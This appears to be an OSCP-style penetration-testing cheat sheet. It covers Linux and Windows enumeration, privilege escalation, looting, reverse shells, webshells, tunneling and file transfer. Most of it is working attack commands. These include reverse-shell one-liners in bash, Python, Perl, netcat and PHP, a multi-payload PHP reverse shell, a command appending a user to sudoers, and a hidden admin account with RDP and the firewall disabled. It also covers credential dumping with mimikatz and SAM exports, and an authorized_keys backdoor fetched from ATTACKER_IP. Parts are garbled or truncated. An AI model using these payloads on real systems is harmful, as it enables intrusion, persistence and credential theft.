#### Port 443 - HTTPS Heartbleed: ``` # Heartbleed sslscan INSERTIPADDRESS:443 ``` ### Vulnerability analysis Now we have gathered information about the system. Now comes the part where we look for exploits and vulnerabilites and features. #### To try - List of possibilies Add possible exploits here: #### Find sploits - Searchsploit and google Where there are many exploits for a software, use google. It will automatically sort it by popularity. ``` site:exploit-db.com apache 2.4.7 # Remove dos-exploits searchsploit Apache 2.4.7 | grep -v '/dos/' searchsploit Apache | grep -v '/dos/' | grep -vi "tomcat" # Only search the title (exclude the path), add the -t searchsploit -t Apache | grep -v '/dos/' ``` '''''''''''''''''''''''''''''''''' PRIVESC ''''''''''''''''''''''''''''''''' ### Privilege escalation Now we start the whole enumeration-process over gain. * Kernel exploits * Programs running as root * Installed software * Weak/reused/plaintext passwords * Inside service * Suid misconfiguration * World writable scripts invoked by root * Unmounted filesystems Less likely * Private ssh keys * Bad path configuration * Cronjobs #### To-try list Here you will add all possible leads. What to try. #### Useful commands ``` # Spawning shell python -c 'import pty; pty.spawn("/bin/sh")' # Access to more binaries export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin # Set up webserver cd /root/oscp/useful-tools/privesc/linux/privesc-scripts; python -m SimpleHTTPServer 8080 # Download all files wget http://192.168.1.101:8080/ -r; mv 192.168.1.101:8080 exploits; cd exploits; rm index.html; chmod 700 LinEnum.sh linprivchecker.py unix-privesc-check ./LinEnum.sh -t -k password -r LinEnum.txt python linprivchecker.py extended ./unix-privesc-check standard # Writable directories /tmp /var/tmp # Add user to sudoers echo "hacker ALL=(ALL:ALL) ALL" >> /etc/sudoers ``` #### Basic info * OS: * Version: * Kernel version: * Architecture: * Current user: **Devtools:** * GCC: * NC: * WGET: **Users with login:** ``` uname -a env id cat /proc/version cat /etc/issue cat /etc/passwd cat /etc/group cat /etc/shadow cat /etc/hosts # Users with login grep -vE "nologin" /etc/passwd # Priv Enumeration Scripts upload /unix-privesc-check upload /root/Desktop/Backup/Tools/Linux_privesc_tools/linuxprivchecker.py ./ upload /root/Desktop/Backup/Tools/Linux_privesc_tools/LinEnum.sh ./ python linprivchecker.py extended ./LinEnum.sh -t -k password unix-privesc-check ``` #### Kernel exploits ``` site:exploit-db.com kernel version perl /root/oscp/useful-tools/privesc/linux/Linux_Exploit_Suggester/Linux_Exploit_Suggester.pl -k 2.6 python linprivchecker.py extended ``` #### Programs running as root Look for webserver, mysql or anything else like that. ``` # Metasploit ps # Linux ps aux ``` #### Installed software ``` /usr/local/ /usr/local/src /usr/local/bin /opt/ /home /var/ /usr/src/ # Debian dpkg -l # CentOS, OpenSuse, Fedora, RHEL rpm -qa (CentOS / openSUSE ) # OpenBSD, FreeBSD pkg_info ``` #### Weak/reused/plaintext passwords * Check database config-file * Check databases * Check weak passwords ``` username:username username:username1 username:root username:admin username:qwerty username:password ``` * Check plaintext ``` ./LinEnum.sh -t -k password ``` #### Inside service ``` # Linux netstat -anlp netstat -ano ``` #### Suid misconfiguration Binary with suid permission can be run by anyone, but when they are run they are run as root! Example programs: ``` nmap vim nano ``` ``` find / -perm -u=s -type f 2>/dev/null ``` #### Unmounted filesystems Here we are looking for any unmounted filesystems. If we find one we mount it and start the priv-esc process over again. ``` mount -l ``` #### Cronjob Look for anything that is owned by privileged user but writable for you ``` crontab -l ls -alh /var/spool/cron ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny cat /etc/crontab cat /etc/anacrontab cat /var/spool/cron/crontabs/root ``` #### SSH Keys Check all home directories ``` cat ~/.ssh/authorized_keys cat ~/.ssh/identity.pub cat ~/.ssh/identity cat ~/.ssh/id_rsa.pub cat ~/.ssh/id_rsa cat ~/.ssh/id_dsa.pub cat ~/.ssh/id_dsa cat /etc/ssh/ssh_config cat /etc/ssh/sshd_config cat /etc/ssh/ssh_host_dsa_key.pub cat /etc/ssh/ssh_host_dsa_key cat /etc/ssh/ssh_host_rsa_key.pub cat /etc/ssh/ssh_host_rsa_key cat /etc/ssh/ssh_host_key.pub cat /etc/ssh/ssh_host_key ``` #### Bad path configuration Require user interaction \----------------------------- LOOT LOOT LOOT LOOT ---------------------- ### Loot **Checklist** * Proof: * Network secret: * Passwords and hashes: * Dualhomed: * Tcpdump: * Interesting files: * Databases: * SSH-keys: * Browser: * Mail: #### Proof ``` /root/proof.txt ``` #### Network secret ``` /root/network-secret.txt ``` #### Passwords and hashes ``` cat /etc/passwd cat /etc/shadow unshadow passwd shadow > unshadowed.txt john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt ``` #### Dualhomed ``` ifconfig ifconfig -a arp -a ``` #### Tcpdump ``` tcpdump -i any -s0 -w capture.pcap tcpdump -i eth0 -w capture -n -U -s 0 src not 192.168.1.X and dst not 192.168.1.X tcpdump -vv -i eth0 src not 192.168.1.X and dst not 192.168.1.X ``` #### Interesting files ``` #Meterpreter search -f *.txt search -f *.zip search -f *.doc search -f *.xls search -f config* search -f *.rar search -f *.docx search -f *.sql .ssh: .bash_history ``` #### Databases #### SSH-Keys #### Browser #### Mail ``` /var/mail /var/spool/mail ``` #### GUI If there is a gui we want to check out the browser. ``` echo $DESKTOP_SESSION echo $XDG_CURRENT_DESKTOP echo $GDMSESSION ``` # Windows https\://github.com/xapax/oscp/blob/master/templates/windows-template.md ### Info-sheet ``` DNS-Domain name: Host name: OS: Server: Workgroup: Windows domain: Services and ports: ``` ### Recon ``` Always start with a stealthy scan to avoid closing ports. # Syn-scan nmap -sS INSERTIPADDRESS # Service-version, default scripts, OS: nmap INSERTIPADDRESS -sV -sC -O # Scan all ports, might take a while. nmap INSERTIPADDRESS -p- # Scan for UDP nmap INSERTIPADDRESS -sU unicornscan -mU -v -I INSERTIPADDRESS # Connect to udp if one is open nc -u INSERTIPADDRESS 48772 # Monster scan nmap INSERTIPADDRESS -p- -A -T4 -sC ``` #### Port 21 - FTP * Name: * Version: * Anonymous login: ``` nmap --script=ftp-anon,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,tftp-enum -p 21 INSERTIPADDRESS ``` #### Port 22 - SSH * Name: * Version: * Protocol: * RSA-key-fingerprint: * Takes-password: If you have usernames test login with username:username #### Port 25 * Name: * Version: * VRFY: * EXPN: ``` nc -nvv INSERTIPADDRESS 25 HELO foo nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 INSERTIPADDRESS ``` #### Port 110 - Pop3 * Name: * Version: #### Port 135 - MSRPC Some versions are vulnerable. ``` nmap INSERTIPADDRESS --script=msrpc-enum ``` Exploit: ``` msf > use exploit/windows/dcerpc/ms03_026_dcom ``` #### Port 139/445 - SMB * Name: * Version: * Domain/workgroup name: * Domain-sid: * Allows unauthenticated login: ``` nmap --script=smb-enum-shares.nse,smb-ls.nse,smb-enum-users.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-security-mode.nse,smbv2-enabled.nse,smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-regsvc-dos.nse,smbv2-enabled.nse INSERTIPADDRESS -p 445 enum4linux -a INSERTIPADDRESS rpcclient -U "" INSERTIPADDRESS srvinfo enumdomusers getdompwinfo querydominfo netshareenum netshareenumall smbclient -L INSERTIPADDRESS smbclient //INSERTIPADDRESS/tmp smbclient \\\\INSERTIPADDRESS\\ipc$ -U john smbclient //INSERTIPADDRESS/ipc$ -U john smbclient //INSERTIPADDRESS/admin$ -U john Log in with shell: winexe -U username //INSERTIPADDRESS "cmd.exe" --system ``` #### Port 161/162 UDP - SNMP ``` nmap -vv -sV -sU -Pn -p 161,162 --script=snmp-netstat,snmp-processes INSERTIPADDRESS snmp-check -t INSERTIPADDRESS -c public ``` ``` # Common community strings public private community ``` #### Port 554 - RTSP #### Port 1030/1032/1033/1038 Used by RPC to connect in domain network. Usually nothing. #### Port 1433 - MSSQL * Version: ``` use auxiliary/scanner/mssql/mssql_ping # Last options. Brute force. scanner/mssql/mssql_login # Log in to mssql sqsh -S INSERTIPADDRESS -U sa # Execute commands xp_cmdshell 'date' go ``` If you have credentials look in metasploit for other modules. ### Port 1521 - Oracle Name: Version: Password protected: ``` tnscmd10g version -h INSERTIPADDRESS tnscmd10g status -h INSERTIPADDRESS ``` #### Port 2100 - Oracle XML DB Can be accessed through ftp. Some default passwords here: * Name: * Version: Default logins: ``` sys:sys scott:tiger ``` #### Port 2049 - NFS ``` showmount -e INSERTIPADDRESS If you find anything you can mount it like this: mount INSERTIPADDRESS:/ /tmp/NFS mount -t INSERTIPADDRESS:/ /tmp/NFS ``` #### 3306 - MySQL * Name: * Version: ``` mysql --host=INSERTIPADDRESS -u root -p nmap -sV -Pn -vv -script=mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 INSERTIPADDRESS -p 3306 ``` #### Port 3339 - Oracle web interface * Basic info about web service (apache, nginx, IIS) * Server: * Scripting language: * Apache Modules: * IP-address: * Domain-name address: #### Port 3389 - Remote desktop Test logging in to see what OS is running ``` rdesktop -u guest -p guest INSERTIPADDRESS -g 94% # Brute force ncrack -vv --user Administrator -P /root/oscp/passwords.txt rdp://INSERTIPADDRESS ``` #### Port 80 * Server: * Scripting language: * Apache Modules: * Domain-name address: INSERTCURLHEADER * Web application * Name: * Version: ``` # Nikto nikto -h http://INSERTIPADDRESS # Nikto with squid proxy nikto -h INSERTIPADDRESS -useproxy http://INSERTIPADDRESS:4444 # Get header curl -i INSERTIPADDRESS # Get everything curl -i -L INSERTIPADDRESS # Check if it is possible to upload using put curl -v -X OPTIONS http://INSERTIPADDRESS/ curl -v -X PUT -d '' http://INSERTIPADDRESS/test/shell.php # Check for title and all links dotdotpwn.pl -m http -h INSERTIPADDRESS -M GET -o unix ``` **Nikto scan** INSERTNIKTOSCAN **Url brute force** ``` # Dirb dirb http://INSERTIPADDRESS -r -o dirb-INSERTIPADDRESS.txt # Gobuster - remove relevant responde codes (403 for example) gobuster -u http://INSERTIPADDRESS -w /usr/share/seclists/Discovery/Web_Content/common.txt -s '200,204,301,302,307,403,500' -e ``` INSERTDIRBSCAN **Default/Weak login** Google documentation for default passwords and test them: ``` site:webapplication.com password ``` ``` admin admin admin password admin admin nameofservice root root root admin root password root nameofservice password admin username nameofservice ``` **LFI/RFI** ``` # Kadimus /root/Tools/Kadimus/kadimus -u http://INSERTIPADDRESS/example.php?page= # Bypass execution http://INSERTIPADDRESS/index.php?page=php://filter/convert.base64-encode/resource=index base64 -d savefile.php # Bypass extension http://INSERTIPADDRESS/page=http://192.168.1.101/maliciousfile.txt%00 http://INSERTIPADDRESS/page=http://192.168.1.101/maliciousfile.txt? ``` **SQL-Injection** ``` # Post ./sqlmap.py -r search-test.txt -p tfUPass # Get sqlmap -u "http://INSERTIPADDRESS/index.php?id=1" --dbms=mysql # Crawl sqlmap -u http://INSERTIPADDRESS --dbms=mysql --crawl=3 ``` **Sql-login-bypass** * Open Burp-suite * Make and intercept request * Send to intruder * Cluster attack * Paste in sqlibypass-list () * Attack * Check for response length variation #### Password brute force - last resort ``` cewl ``` #### Port 443 - HTTPS Heartbleed: ``` sslscan INSERTIPADDRESS:443 ``` ### Vulnerability analysis Now we have gathered information about the system. Now comes the part where we look for exploits and vulnerabilities and features. #### To try - List of possibilities Add possible exploits here: #### Find sploits - Searchsploit and google Where there are many exploits for a software, use google. It will automatically sort it by popularity. ``` site:exploit-db.com apache 2.4.7 # Remove dos-exploits searchsploit Apache 2.4.7 | grep -v '/dos/' searchsploit Apache | grep -v '/dos/' | grep -vi "tomcat" # Only search the title (exclude the path), add the -t searchsploit -t Apache | grep -v '/dos/' ``` '''''''''''''''''''''''''''''''''' PRIVESC ''''''''''''''''''''''''''''''''' ### Privilege escalation Now we start the whole enumeration-process over gain. This is a checklist. You need to check of every single one, in this order. * Kernel exploits * Cleartext password * Reconfigure service parameters * Inside service * Program running as root * Installed software * Scheduled tasks * Weak passwords #### To-try list Here you will add all possible leads. What to try. #### Basic info * OS: * Version: * Architecture: * Current user: * Hotfixes: * Antivirus: **Users:** **Localgroups:** ``` systeminfo set hostname net users net user user1 net localgroups accesschk.exe -uwcqv "Authenticated Users" * netsh firewall show state netsh firewall show config # Set path set PATH=%PATH%;C:\xampp\php ``` #### Kernel exploits ``` # Look for hotfixes systeminfo wmic qfe get Caption,Description,HotFixID,InstalledOn # Search for exploits site:exploit-db.com windows XX XX ``` #### Cleartext passwords ``` # Windows autologin reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" # VNC reg query "HKCU\Software\ORL\WinVNC3\Password" # SNMP Parameters reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" # Putty reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" # Search for password in registry reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s ``` #### Reconfigure service parameters * Unquoted service paths Check book for instructions * Weak service permissions Check book for instructions #### Inside service Check netstat to see what ports are open from outside and from inside. Look for ports only available on the inside. ``` # Meterpreter run get_local_subnets netstat /a netstat -ano ``` #### Programs running as root/system #### Installed software ``` # Metasploit ps tasklist /SVC net start reg query HKEY_LOCAL_MACHINE\SOFTWARE DRIVERQUERY Look in: C:\Program files C:\Program files (x86) Home directory of the user ``` #### Scheduled tasks ``` schtasks /query /fo LIST /v Check this file: c:\WINDOWS\SchedLgU.Txt ``` #### Weak passwords Remote desktop ``` ncrack -vv --user george -P /root/oscp/passwords.txt rdp://INSERTIPADDRESS ``` #### Useful commands **Add user and enable RDP** ``` net user haxxor Haxxor123 /add net localgroup Administrators haxxor /add net localgroup "Remote Desktop Users" haxxor /ADD # Enable RDP reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f Turn firewall off netsh firewall set opmode disable Or like this reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f If you get this error: "ERROR: CredSSP: Initialize failed, do you have correct kerberos tgt initialized ? Failed to connect, CredSSP required by server."" Add this reg key: reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f ``` \----------------------------- LOOT LOOT LOOT LOOT ------------------- ### Loot * Proof: * Network secret: * Password and hashes: * Dualhomed: * Tcpdump: * Interesting files: * Databases: * SSH-keys: * Browser: #### Proof #### Network secret #### Passwords and hashes ``` wce32.exe -w wce64.exe -w fgdump.exe reg.exe save hklm\sam c:\sam_backup reg.exe save hklm\security c:\security_backup reg.exe save hklm\system c:\system # Meterpreter hashdump load mimikatz msv ``` #### Dualhomed ``` ipconfig /all route print # What other machines have been connected arp -a ``` #### Tcpdump ``` # Meterpreter run packetrecorder -li run packetrecorder -i 1 ``` #### Interesting files ``` #Meterpreter search -f *.txt search -f *.zip search -f *.doc search -f *.xls search -f config* search -f *.rar search -f *.docx search -f *.sql # How to cat files in meterpreter cat c:\\Inetpub\\iissamples\\sdk\\asp\\components\\adrot.txt # Recursive search dir /s ``` #### Mail #### Browser * Browser start-page: * Browser-history: * Saved passwords: #### Databases #### SSH-keys ### How to replicate: # Active Directory Enumeration {% embed url="" %} {% embed url="" %} # Shells ## Great reverse shell generator ``` https://offsecnewbie.com/reverse_shell.php ``` {% hint style="success" %} I like using port 443 as its generally open on firewalls for HTTPS traffic. Sometimes servers and firewalls block non standard ports like 4444 or 1337 {% endhint %} {% hint style="info" %} If connections drops or can not be established, try different ports 80,443,8080... {% endhint %} ### Interactive Shell Test Copy below into shell. If YES, then you have an interactive shell ``` [[ $- == *i* ]] && echo "YES" || echo "No" ``` terminal = tty = text input/output environment\ console = physical terminal\ shell = command line interpreter
## Why the F is my shell not returning?! A firewall is likely blocking the port returning. What ports are open on the server? Use one of those ports. ## Escaping limited interpreters #### Some payloads to overcome limited shells: ``` ssh user@$ip nc $localip 4444 -e /bin/sh enter user's password export TERM=linux python -c 'import pty; pty.spawn("/bin/sh")' python3 -c 'import pty; pty.spawn("/bin/sh")' python3 -c 'import pty; pty.spawn("/bin/bash")' python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("$ip",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(), *$ 1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' echo os.system('/bin/bash') /bin/sh -i exec "/bin/sh"; perl —e 'exec "/bin/sh";' Related Shell Escape Sequences... vi--> :!bash vi--> :set shell=/bin/bash:shell awk--> awk 'BEGIN {system("/bin/bash")}' find--> find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' \; perl--> perl -e 'exec "/bin/bash";' ``` go into `/bin/` and see what binaries are in there. ``` /bin/csh -i # worked for BSD ``` ### From within tcpdump ``` echo $’id\n/bin/netcat $ip 443 -e /bin/bash’ > /tmp/.test chmod +x /tmp/.test sudo tcpdump -ln -I eth- -w /dev/null -W 1 -G 1 -z /tmp/.tst -Z root ``` ### From busybox ``` /bin/busybox telnetd -|/bin/sh -p9999 ``` ``` #If you need a more stable connection: nohup bash -c 'bash -i >& /dev/tcp// 0>&1' ``` ``` :!bash :set shell=/bin/bash:shell !bash find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ; awk 'BEGIN {system("/bin/bash")}' --interactive echo "os.execute('/bin/sh')" sudo nmap --script=exploit.nse perl -e 'exec "/bin/bash";' ``` ### Add public key to authorized keys: ``` echo $(wget https://ATTACKER_IP/.ssh/id_rsa.pub) >> ~/.ssh/authotized_keys ``` ### Python TTY shells ``` https://github.com/infodox/python-pty-shells ``` ``` on kali edit tcp_pty_backconnect.py add kali ip and port and upload to target python tcp_pty_shell_handler.py -b $kaliip:$port on victim chmod +x tcp_pty_backconnect.py python tcp_pty_backconnect.py ``` Ippsec using tool ``` https://youtu.be/NMGsnPSm8iw ``` ### Upgrading to fully interactive ``` # On victim python -c 'import pty;pty.spawn("/bin/bash")' Ctrl-z # On attacker echo $TERM # note down stty -a # note down rows and cols stty raw -echo # this may be enough fg # On victim reset export SHELL=bash export TERM=xterm256-color stty rows 38 columns 116 ``` {% hint style="danger" %} Note: Netcat (`nc`) OpenBSD does not support `-e` {% endhint %} ``` https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/ ``` ### Set PATH TERM and SHELL if missing: ``` export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin export TERM=xterm export SHELL=bash ``` ## PHP ### Webshell {% hint style="info" %} Web shells are hard to detect {% endhint %} This command will run system commands on the underlying system and return the complete output as a string {% hint style="info" %} {% endhint %} Try to get this code on the server - possibly by contaminating a log file
![use nc to connect to server - the connect will be logged](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-LXQvA_yzaKQE3-Z8sRw%2F-LXQwBYnrMSlelC_eHuj%2Fcontaimination%20logs.png?alt=media\&token=b6b77a63-13ab-48b6-8ca3-52c5361cc84b) {% hint style="success" %} if a reverse shell is not returning back to you try a diff shell maybe python. run 'which python' to see if python is available {% endhint %} ``` # Execute one command # Take input from the url paramter. shell.php?cmd=whoami #remember you might have to add index.php to url then you can do index.php?cmd=whoami # The same but using passthru # For shell_exec to output the result you need to echo it # Exec() does not output the result without echo, and only output the last line. So not very useful! # Instead to this if you can. It will return the output as an array, and then print it all. # preg_replace(). This is a cool trick # Using backticks $output"; ?> # Using backticks # download netcat and run it ``` Then you can execute the commands like this ``` http://victim/index.php?cmd=pwd ``` Make the commands from above a bit more stealthy. Instead of passing the cmds through the url, which will be obvious in logs, pass them through other header-parameters. The use tamper data or burpsuite to insert the commands. Or just netcat or curl. ``` ``` ![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-LgC5J3yip_pEf26ugaj%2F-LgC5iuZrzlAM7K53Zxi%2Fimage.png?alt=media\&token=7db7a7ec-bec9-4200-a7c0-960746479671) ``` ``` add it to index page of a wordpress theme ``` http://$ip/webshell.php?cmd=id ``` You can use this to move from web shell to a command line shell ``` http://$ip/webshell.php?cmd=nc $kali $port -e /bin/sh ``` ### A Great WebShell ``` https://github.com/flozz/p0wny-shell/blob/master/shell.php ``` ### Windows Shell ``` ``` {% hint style="info" %} maybe URL encode it {% endhint %} Commands to try in a webshell to find out a bit more about system through webshell to help you get a command line shell ## Kali shells ``` /usr/share/webshells/ ``` Copy `php-reverse-shell.php` to working directory ``` cp /usr/share/webshells/php/php-reverse-shell.php php-reverse-shell.php ``` ### Best PHP reverse shell: ``` /dev/tcp/'.$ip.'/'.$port.' 0<&1 2>&1', '0<&196;exec 196<>/dev/tcp/'.$ip.'/'.$port.'; /bin/sh <&196 >&196 2>&196', '/usr/bin/nc '.$ip.' '.$port.' -e /bin/bash', 'nc.exe -nv '.$ip.' '.$port.' -e cmd.exe', "/usr/bin/perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"".$ip.":".$port."\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'", 'rm -f /tmp/p; mknod /tmp/p p && telnet '.$ip.' '.$port.' 0/tmp/p', 'perl -e \'use Socket;$i="'.$ip.'";$p='.$port.';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' ); foreach ($reverse_shells as $reverse_shell) { try {echo system($reverse_shell);} catch (Exception $e) {echo $e;} try {shell_exec($reverse_shell);} catch (Exception $e) {echo $e;} try {exec($reverse_shell);} catch (Exception $e) {echo $e;} } system('id'); ?> ``` ### MIME Types GIF89; {% hint style="success" %} If a shell session closes quickly after it has been established, try to create a new shell session by executing one of the following commands on the initial shell. This will create a nested session! {% endhint %} ``` bash /bin/sh /bin/sh -i ``` ### Using netcat ``` nc -e /bin/bash ``` ### Using bash and TCP sockets ``` /bin/bash -i > /dev/tcp// 0<&1 2>&1 ``` ### Using sh and TCP sockets ``` 0<&196;exec 196<>/dev/tcp//; sh <&196 >&196 2>&196 ``` ### Using telnet ``` telnet <1st_port> | /bin/bash | telnet <2nd_port> ``` ### PHP and sh ``` php -r '$sock=fsockopen("",);exec("/bin/sh -i <&3 >&3 2>&3");' ``` ### weevely ``` https://www.acunetix.com/blog/articles/web-shells-action-introduction-web-shells-part-4/ ``` ``` --weevely.py command password output-- ./weevely.py generate abcd123 shell.php upload to victim then execute ./weevely.py http://$ip/shell.php abcd123 Then if you want reverse shell, run this on victim after running listener on kali backdoor_reversetcp $kaliip $port ``` ### Perl and sh ``` perl -e 'use Socket;$i="";$p=&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' ``` ### Perl forking: ``` perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"ip:port");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ``` ### Python ``` python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ``` ### Reverse shell with python script: ``` #!/usr/bin/python import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("IP",port)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"]) ``` ### Go reverse shell {% hint style="info" %} Communicates over DNS {% endhint %} ``` https://github.com/sysdream/chashell ``` ## Discover shell environment | Command | Output | | ---------------------- | ----------------------------------------------- | | php -v | PHP version | | Python -V | Python version | | Perl -v | Perl version | | ls /usr/bin | Directory contents /usr/bin | | uname -a | System information Linux | | dir C:\”Program Files” | Directory contents Windows Program Files folder | | systeminfo | System information Windows | | id | Current user Linux | | whoami | Current user Windows | | pwd | Print working directory | ## Reading ``` https://www.acunetix.com/blog/articles/introduction-web-shells-part-1/ ``` # Port Forwarding / SSH Tunneling #### SSH: Local Port Forwarding ```bash # Listen on local port 8080 and forward incoming traffic to REMOT_HOST:PORT via SSH_SERVER # Scenario: access a host that's being blocked by a firewall via SSH_SERVER; ssh -L 127.0.0.1:8080:REMOTE_HOST:PORT user@SSH_SERVER ``` #### SSH: Dynamic Port Forwarding ```bash # Listen on local port 8080. Incoming traffic to 127.0.0.1:8080 forwards it to final destination via SSH_SERVER # Scenario: proxy your web traffic through SSH tunnel OR access hosts on internal network via a compromised DMZ box; ssh -D 127.0.0.1:8080 user@SSH_SERVER ``` #### SSH: Remote Port Forwarding ```bash # Open port 5555 on SSH_SERVER. Incoming traffic to SSH_SERVER:5555 is tunneled to LOCALHOST:3389 # Scenario: expose RDP on non-routable network; ssh -R 5555:LOCAL_HOST:3389 user@SSH_SERVER plink -R ATTACKER:ATTACKER_PORT:127.0.01:80 -l root -pw pw ATTACKER_IP ``` #### Proxy Tunnel ```bash # Open a local port 127.0.0.1:5555. Incoming traffic to 5555 is proxied to DESTINATION_HOST through PROXY_HOST:3128 # Scenario: a remote host has SSH running, but it's only bound to 127.0.0.1, but you want to reach it; proxytunnel -p PROXY_HOST:3128 -d DESTINATION_HOST:22 -a 5555 ssh user@127.0.0.1 -p 5555 ``` #### HTTP Tunnel: SSH Over HTTP ```bash # Server - open port 80. Redirect all incoming traffic to localhost:80 to localhost:22 hts -F localhost:22 80 # Client - open port 8080. Redirect all incoming traffic to localhost:8080 to 192.168.1.15:80 htc -F 8080 192.168.1.15:80 # Client - connect to localhost:8080 -> get tunneled to 192.168.1.15:80 -> get redirected to 192.168.1.15:22 ssh localhost -p 8080 ``` # Transferring files First step after gaining access to a remote machine is to upload new tools. ## Linux ### Netcat ``` on target run: nc -lvp 443> transfer.txt on attacker run: nc $ip 443 < transfer.txt ``` or ``` on attacker run: nc -lvp 443> transfer.txt on target run: cat transfer.txt | nc $attackerip 443 ``` The attack box can now connect to port 443 and download a file called transfer.txt ### ProTip If u ever happen to have a shell of a UNIX system, and cannot find a way to upload anything, this is a lifesaver trick you can try: ``` On local system: cat filetoupload | base64 -w 0; echo #double click on output to copy On Target System: echo | base64 -d > filetoupload ``` ```csharp wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh Download a file using Wget curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh Download a file using cURL php -r '$file = file_get_contents("https:///LinEnum.sh"); file_put_contents("LinEnum.sh",$file);' Download a file using PHP scp C:\Temp\bloodhound.zip user@10.10.10.150:/tmp/bloodhound.zip Upload a file using SCP scp user@target:/tmp/mimikatz.exe C:\Temp\mimikatz.exe Download a file using SCP ``` ``` mkdir /tftp atftpd --daemon --port 69 /tftp cp /usr/share/windows-binaries/nc.exe /tftp/ nano /etc/default/atftpd # confirm that /tftp is the directory - otherwise it cant find the file service atftpd restart ``` ### Start a web server in your local machine serving files within the current folder: ``` python -m SimpleHTTPServer ``` ``` python3 -m http.server ``` ``` php -S $ip:80 ``` ### Send files using different commands: ``` nc -nlvp 4444 > incoming.exe ``` ### As an FTP server, metasploit has built in one: ``` use auxiliary/server/ftp auxiliary/server/tftp ``` ### Simple Fast python FTP server no login details necessary ``` pip install pyftpdlib python -m pyftpdlib -p 21 ``` ### SMB share server: ``` python smbserver.py WORKSPACE /dir smbserver.py devel /root/Desktop/htb/devel ``` ### Curl put: ``` curl -T 'file' 'http://$ip' ``` ### Linux, mounting a samba share: ``` smbclient -L 1.1.1.1 --no-pass ``` ### Simple HTTP Server with Upload ``` wget https://gist.githubusercontent.com/UniIsland/3346170/raw/059aca1d510c615df3d9fedafabac4d538ebe352/SimpleHTTPServerWithUpload.py ; chmod +x SimpleHTTPServerWithUpload.py; ./SimpleHTTPServerWithUpload.py ``` ![Simple HTTP Server with Upload](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-LT7M4LDF9bpyKMg_bab%2F-LT7Nets4hEocQWmMYyl%2Fhttp%20server%20withupload.png?alt=media\&token=d0deb003-24db-4d24-adfb-8e984c54d80e) ### PHP ```php ``` ### Python ```python python -c "from urllib import urlretrieve; urlretrieve('http://10.11.0.245/nc.exe', 'C:\\Temp\\nc.exe')" ``` ## Windows In most environments, `HTTP`/`HTTPS` traffic is allowed out of the firewall in some form - and if we have a GUI session, a web browser could also be used. However, from a Windows shell, `PowerShell` offers many file transfer options. In any version of `PowerShell`, the [System.Net.WebClient](https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient?view=net-5.0) class can be used to download a file over `HTTP`. ``` PS C:\htb> (New-Object System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1',"C:\Users\Public\Downloads\PowerView.ps1") ``` From PowerShell 3.0, Invoke-WebRequest is also available, but it is noticeably slower at downloading files. The aliases `iwr`, `curl`, and `wget` can be used instead of Invoke-WebRequest. ``` https://lolbas-project.github.io/#/download ``` ``` PS C:\htb> Invoke-WebRequest 